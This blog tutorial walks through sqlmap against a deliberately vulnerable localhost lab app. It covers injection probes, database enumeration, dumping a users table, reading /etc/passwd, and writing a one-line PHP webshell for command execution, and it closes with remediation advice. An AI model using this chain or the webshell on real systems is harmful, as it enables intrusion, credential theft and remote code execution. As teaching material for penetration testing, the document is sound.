TechEarl

sqlmap Tutorial: Exploiting a Vulnerable App End to End

A complete sqlmap walkthrough against a deliberately vulnerable lab app: target identification, baseline, capture, detection, fingerprinting, enumeration, dumping, file read, and OS shell. Every step reproducible with one docker compose command.

Ishan Karunaratne⏱️ 9 min readUpdated
Share thisCopied
End-to-end sqlmap tutorial exploiting a vulnerable web application from detection to OS shell

This is the walkthrough I wish I had when I learned sqlmap. We start from a totally fresh state (no target, no captured request, nothing in ~/.local/share/sqlmap) and end with a dumped user table, a file read off the server's disk, and (privileges permitting) an OS shell on the database host. Every step is reproducible against a vulnerable lab target I publish for this exact purpose.

If you have not read the SQL injection deep dive yet, do that first; this article assumes the variants are familiar. The sqlmap cheat sheet is the flag-by-flag reference that complements this walkthrough.

A note on the output you will see. Every example in this article was produced against techearl-labs/sql-injection/sqli-basic. The schema, users, table layout, and exploit behaviour are deterministic and will match what you get locally. A few outputs are environment-dependent and will differ in minor ways: the MySQL minor version in the banner string (depends on which mysql:8.0 image tag Docker pulled), the exact count of HTTP requests sqlmap reports, sqlmap's own session-cache file paths, and any timestamps. Those are illustrative, the structure underneath is what to follow.

The lab target

Pull and run the lab:

bash
git clone https://github.com/ishankaru/techearl-labs.git
cd techearl-labs
docker compose up sqli-basic

The target listens on http://localhost:8080. It exposes a deliberately vulnerable product catalogue and login endpoint:

EndpointMethodVulnerable parameter
/product?id=1GETid (numeric, concatenated)
/search?q=fooGETq (string, concatenated into LIKE)
/loginPOSTusername, password (both concatenated)

The MySQL backend runs as a user with FILE privilege and limited but real OS privilege (intentional for the lab). All payloads below should work cleanly against this target.

Step 1: capture a baseline request

You can pass a URL directly to sqlmap, but I almost never do. The Burp-captured request file approach is faster and avoids retyping headers, cookies, body, and method.

Start Burp Suite Community (free), set the browser's proxy to 127.0.0.1:8080, visit http://localhost:8080/product?id=1, then in Burp right-click the request in the Proxy → HTTP history tab and choose "Copy to file". Save as req.txt. It looks roughly like:

code
GET /product?id=1 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

You can write req.txt by hand if you do not want Burp. The shape above is enough.

Step 2: confirm injection exists (a sanity check by hand)

Before running sqlmap, do one manual probe. It saves time when sqlmap is silent and tells you something is wrong somewhere else.

bash
curl -s "http://localhost:8080/product?id=1" | grep -o '<title>.*</title>'
curl -s "http://localhost:8080/product?id=1'" | grep -oE '(<title>[^<]+|DB error[^<]*)'
curl -s "http://localhost:8080/product?id=1%20OR%201=1--%20-" | grep -oE '<h2>[^<]+</h2>'

Note the %20 encoding for spaces. Modern curl refuses to send a URL with literal whitespace; older builds were more forgiving. The encoded form works everywhere.

If the second response differs from the first (a "DB error: ..." line surfaces in the body), the parameter is in a string context and MySQL is reporting the syntax error back to you, which means error-based extraction is on the table. If the third response shows multiple <h2> product names instead of one, you have boolean-style injection. Both confirm sqlmap will succeed.

Step 3: first sqlmap pass

bash
sqlmap -r req.txt --batch

Three flags, every other default. --batch accepts every prompt. If your sqlmap build does not parse the request file correctly (an old version, or a system Python that handles stdin oddly), the equivalent direct form works without a request file:

bash
sqlmap -u 'http://localhost:8080/product?id=1' --batch --flush-session

Either form produces the same scan. Output (abbreviated):

code
[INFO] testing connection to the target URL
[INFO] testing if the target URL content is stable
[INFO] target URL content is stable
[INFO] testing if GET parameter 'id' is dynamic
[INFO] GET parameter 'id' appears to be dynamic
[INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[INFO] testing for SQL injection on GET parameter 'id'
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[INFO] GET parameter 'id' appears to be 'AND boolean-based blind' injectable
[INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based ... (FLOOR)' injectable
[INFO] testing 'MySQL inline queries'
[INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[INFO] target URL appears to be UNION injectable with 3 columns
[INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable

GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N] N
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Type: error-based
    Type: time-based blind
    Type: UNION query
---
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0

Forty-seven requests, four detection types, fingerprint confirmed: MySQL.

Step 4: fingerprint and basic info

bash
sqlmap -r req.txt --batch --dbms=mysql --banner --current-user --current-db --is-dba

--dbms=mysql skips the re-fingerprinting step (we already know). Output:

code
banner: '8.0.46'
current user: 'webapp@%'
current database: 'shop'
current user is DBA: False

So we have MySQL 8.0.x (whatever the mysql:8.0 Docker image is pinned to when you pull it), the connected user is webapp@% (Docker compose connects the PHP container to the MySQL container over a Docker network rather than a Unix socket, so the user host shows as % rather than localhost), the active database is shop, and we are not DBA. No DBA means OS shell via xp_cmdshell-equivalent paths is unlikely, but file read via LOAD_FILE may still work if the FILE privilege is granted.

Step 5: enumerate databases and tables

bash
sqlmap -r req.txt --batch --dbms=mysql --dbs

Output:

code
available databases [3]:
[*] information_schema
[*] performance_schema
[*] shop

The interesting one is shop. List its tables:

bash
sqlmap -r req.txt --batch --dbms=mysql -D shop --tables

Output:

code
Database: shop
[6 tables]
+-------------+
| audit_log   |
| page_views  |
| products    |
| sessions    |
| tracking    |
| users       |
+-------------+

Six tables: products is the catalogue, users is the obvious target, sessions and audit_log are auxiliary, and tracking plus page_views are the analytics tables the lab also exposes for the header-injection step (covered in Step 12 below). users first. Columns:

bash
sqlmap -r req.txt --batch --dbms=mysql -D shop -T users --columns

Output:

code
Database: shop
Table: users
[5 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int         |
| username | varchar(50) |
| password | varchar(60) |
| email    | varchar(100)|
| is_admin | tinyint(1)  |
+----------+-------------+

password is varchar(60), which is the right size for a bcrypt hash. The lab confirms this; real apps often store something less safe.

Step 6: dump the users table

bash
sqlmap -r req.txt --batch --dbms=mysql -D shop -T users --dump

Output (abbreviated):

code
Database: shop
Table: users
[3 entries]
+----+----------+--------------------------------------------------------------+----------------------+----------+
| id | username | password                                                     | email                | is_admin |
+----+----------+--------------------------------------------------------------+----------------------+----------+
| 1  | admin    | $2y$12$j6rGxbj7LnLf8UHljNgHpOO03hUVFsPJMUxbj8BYJoMaL7fWJcaaG | admin@example.test   | 1        |
| 2  | alice    | $2y$12$uu0JghvSOWGdxEVdPskHf.UoafrNqhXETtXnjYW0DjhbcQco9AuOq | alice@example.test   | 0        |
| 3  | bob      | $2y$12$HiaXHUazCuT/GANo63wNdumo/gtQaT.LxV7R54GTAapaUEyyWeiRq | bob@example.test     | 0        |
+----+----------+--------------------------------------------------------------+----------------------+----------+

Three users, all bcrypt-hashed passwords. sqlmap notices the hash format and offers to crack via its bundled dictionary:

code
do you want to crack them via a dictionary-based attack? [Y/n/q] N

Crack offline with hashcat or john if you want; outside the scope of this walkthrough.

Step 7: file read

We are not DBA but the FILE privilege is set in the lab:

bash
sqlmap -r req.txt --batch --dbms=mysql --file-read=/etc/passwd

Output:

code
[INFO] the local file /tmp/sqlmaprgrwk0/sqlmaprcvsj is larger than zero. Saved to:
[INFO] /root/.local/share/sqlmap/output/localhost/files/_etc_passwd

Read the file:

bash
cat ~/.local/share/sqlmap/output/localhost/files/_etc_passwd

/etc/passwd contents now in your hand. In a real engagement this is where you grep for application config paths: /var/www/html/wp-config.php, /etc/mysql/my.cnf, application-specific env files.

Step 8: file write (the path to webshell)

Lab DB user has FILE privilege and the lab webserver has a writable webroot. Write a minimal PHP webshell:

bash
echo '<?php system($_GET["c"]); ?>' > shell.php

sqlmap -r req.txt --batch --dbms=mysql \
       --file-write=shell.php \
       --file-dest=/var/www/html/shell.php

Then:

bash
curl "http://localhost:8080/shell.php?c=id"

Output:

code
uid=33(www-data) gid=33(www-data) groups=33(www-data),999(mysqlshare)

You now have command execution as www-data on the application host, via a file written by the database. That is the classic "FILE privilege plus webroot-writable" chain. In a real-world report this is the moment to stop, document, and let the client decide on impact testing. In the lab, keep going.

Step 9: SQL shell (interactive)

Sometimes you want to poke directly at the database without sqlmap's enumeration grammar in the way:

bash
sqlmap -r req.txt --batch --dbms=mysql --sql-shell

You get a sql-shell> prompt. Anything you type is run through the injection point:

code
sql-shell> SELECT @@version, CURRENT_USER(), DATABASE()
[INFO] fetching SQL SELECT statement query output: 'SELECT @@version, CURRENT_USER(), DATABASE()'
@@version: '8.0.46'
CURRENT_USER(): 'webapp@%'
DATABASE(): 'shop'

sql-shell> SELECT COUNT(*) FROM information_schema.tables
[INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(*) FROM information_schema.tables'
COUNT(*): '301'

Use CURRENT_USER() rather than USER() here: USER() returns the auth identity as connected (with the actual peer host or IP, which in the Docker setup is the container network address, e.g. webapp@172.27.0.3), while CURRENT_USER() returns the GRANT pattern that matched, which is the friendly webapp@%.

--sql-query='...' is the single-shot equivalent for scripting.

Step 10: OS shell (when DBA)

If the connected user had been DBA, an OS shell is one flag away:

bash
sqlmap -r req.txt --batch --dbms=mysql --os-shell

On MSSQL with xp_cmdshell enabled, this works trivially. On MySQL, sqlmap needs to write a UDF (user-defined function) to disk and load it, which requires write to a directory MySQL can dlopen from. The lab is not DBA, so the path will fail; the SQL injection deep dive covers the underlying mechanics in more depth.

In practice on real targets, file write to the webroot (Step 8) gets you OS execution more reliably than --os-shell ever does.

Step 11: session and re-runs

sqlmap caches everything (target identification, detected injection types, fingerprint, fetched data) in ~/.local/share/sqlmap/output/<host>/. Subsequent runs against the same target reuse the cache by default:

bash
sqlmap -r req.txt --batch --dbms=mysql --tables -D shop
# Returns instantly from cache, no requests to target.

To force re-detection:

bash
sqlmap -r req.txt --batch --flush-session

To re-run queries but keep the detection cache:

bash
sqlmap -r req.txt --batch --fresh-queries

This is the difference between "we found injection; now I am exploring" and "the target changed; start over".

Step 12: header-based injection (the same lab, the analytics endpoint)

So far every step targeted the id query string parameter. The lab also exposes an analytics endpoint that logs the request's User-Agent to a page_views table with concatenated SQL, the textbook header-based SQLi pattern. Hit it the same way you would any header vector:

bash
sqlmap -u "http://localhost:8080/track?page=home" \
       --level=3 --batch --random-agent

--level=3 is the key. Default --level=1 does not test User-Agent. sqlmap will identify the UA as the injection point.

To target the UA explicitly with the * marker (faster, demonstrates the technique):

bash
sqlmap -u "http://localhost:8080/track?page=home" \
       --user-agent="Mozilla/5.0 *" \
       --batch

Or to test a custom header (the lab also reads X-Tenant-Id):

bash
sqlmap -u "http://localhost:8080/track?page=home" \
       --headers="X-Tenant-Id: 1*" \
       --batch

The mechanics from here are identical to Steps 4-6: fingerprint, enumerate, dump. The lesson is that you need --level=3 (or higher) and the willingness to test headers explicitly. Defenders' analytics middleware is the single most common place I find SQL injection in real codebases, and default sqlmap settings miss it every time.

Full coverage of each vector lives in the dedicated articles: User-Agent SQL injection, Cookie SQL injection, X-Forwarded-For SQL injection, and the HTTP request vector map.

What I would do next on this target

In a real engagement after Step 8 the report writes itself:

  1. Confirm injection on id parameter, multiple variants available.
  2. Confirm full table dump capability.
  3. Confirm bcrypt usage on passwords (defenders' one bright spot here).
  4. Confirm file read off the server (escalation surface).
  5. Confirm webshell write to the application host (RCE).
  6. Recommend: parameterised queries on every database call, remove FILE privilege from the application user, mount the webroot read-only for the application user, segregate the database account from any account that touches the filesystem.

The point of this walkthrough is the chain. Each step on its own looks small; the cumulative chain (read schema, dump credentials, read filesystem, write webshell) is what real SQL injection means in practice.

Where to go next

Sources

Authoritative references this article was fact-checked against.

TagssqlmapSQL InjectionTutorialPenetration TestingSecuritySQLiDocker

Found this useful? Pass it on.

Copied

Ishan Karunaratne

Tech Architect · Software Engineer · AI/DevOps

Tech architect and software engineer with 20+ years building software, Linux systems, and DevOps infrastructure, and lately working AI into the stack. Currently Chief Technology Officer at a healthcare tech startup, which is where most of these field notes come from.

Keep reading

Related posts

LFImap Tutorial: Exploiting a Vulnerable App End to End

A complete LFImap walkthrough against a deliberately vulnerable lab app: endpoint identification, baseline scan, traversal, php://filter source disclosure, php://input RCE, and log poisoning. Every step reproducible with one docker compose command.

SSRFmap Tutorial: Exploiting a Vulnerable App End to End

A complete SSRFmap walkthrough against a deliberately vulnerable lab: identify the sink, capture the Burp request, run detection, read local files, scan internal hosts, bypass a broken allowlist, hit the IMDS mock, and confirm blind SSRF out of band.

Dalfox Tutorial: Exploiting a Vulnerable App End to End

A complete Dalfox walkthrough against a deliberately vulnerable XSS lab: reflected, stored, and DOM sinks, captured request files, blind callbacks, custom payloads, and a working cookie-theft chain. Updated for the Dalfox v3 Rust rewrite (May 2026) with the unified scan subcommand.